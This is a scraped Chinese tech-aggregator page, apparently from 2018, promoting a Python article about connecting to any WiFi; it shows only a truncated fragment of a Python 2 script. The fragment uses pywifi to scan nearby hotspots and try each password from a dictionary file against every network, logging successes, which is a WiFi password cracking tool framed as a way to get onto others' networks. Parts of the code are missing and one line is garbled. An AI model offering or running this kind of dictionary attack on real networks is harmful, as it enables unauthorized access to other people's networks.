专栏名称: 程序员大咖
为程序员提供最优质的博文、最精彩的讨论、最实用的开发资源;提供最新最全的编程学习资料:PHP、Objective-C、Java、Swift、C/C++函数库、.NET Framework类库、J2SE API等等。并不定期奉送各种福利。
目录
相关文章推荐
51好读  ›  专栏  ›  程序员大咖

学了Python后,我走哪里都可以连WIFI!为什么?反正就是这么强!

程序员大咖  · 公众号  · 程序员  · 2018-04-24 10:24

正文

请到「今天看啥」查看全文



output = sys.stdout
#结果文件保存路径
files = "TestRes.txt"
#字典列表
keys = open (sys. argv [ 1 ], "r" ).readlines()
print "|KEYS %s" %( len ( keys ))
#实例化一个pywifi对象
wifi = PyWiFi()
#选择定一个网卡并赋值于iface
iface = wifi.interfaces()[ 0 ]
#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
scanres = scans(iface,scantimes)
#统计附近被发现的热点数量
nums = len (scanres)
print "|SCAN GET %s" %(nums)
print "%s%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s" %( "-" * 70 , 6 , "WIFIID" , 18 , "SSID OR BSSID" , 2 , "N" , 4 , "time" , 7 , "signal" , 10 , "KEYNUM" , 10 , "KEY" , "=" * 70 )
#将每一个热点信息逐一进行测试
for i, x in enumerate(scanres):
#测试完毕后,成功的结果讲存储到 files
res = test(nums-i,iface, x , keys ,output,testtimes)
if re s:





请到「今天看啥」查看全文